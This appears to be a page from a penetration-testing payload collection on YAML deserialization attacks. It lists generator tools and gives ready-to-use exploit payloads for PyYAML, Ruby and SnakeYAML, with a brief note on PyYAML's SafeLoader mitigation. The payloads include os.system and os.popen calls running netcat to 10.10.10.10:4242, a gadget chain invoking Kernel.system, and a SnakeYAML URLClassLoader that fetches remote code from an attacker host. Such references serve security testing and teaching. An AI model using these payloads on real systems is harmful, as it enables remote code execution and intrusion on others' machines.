PayloadsAllTheThings/Insecure Deserialization/YAML.md

YAML Deserialization

Summary

• Tools
• Exploit
  • PyYAML
  • ruamel.yaml
  • Ruby
  • SnakeYAML
• References

Tools

• j0lt-github/python-deserialization-attack-payload-generator
• artsploit/yaml-payload - A tiny project for generating SnakeYAML deserialization payloads
• mbechler/marshalsec

Exploit

PyYAML

!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]

!!python/object/apply:subprocess.Popen
- ls

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec

Since PyYaml version 6.0, the default loader for load has been switched to SafeLoader mitigating the risks against Remote Code Execution. PR fixing the vulnerabily

The vulnerable sinks are now yaml.unsafe_load and yaml.load(input, Loader=yaml.UnsafeLoader)

with open('exploit_unsafeloader.yml') as file:
        data = yaml.load(file,Loader=yaml.UnsafeLoader)

Ruamel.yaml

Ruby

 ---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: sleep 600
          method_id: :resolve 

SnakeYAML

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker-ip/"]
  ]]
]

References

• [Python Yaml Deserialization - hacktricks.xyz][https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization]
• [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13][https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf]
• PyYAML Documentation
• Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021
• [CVE-2019-20477]- 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - @_j0lt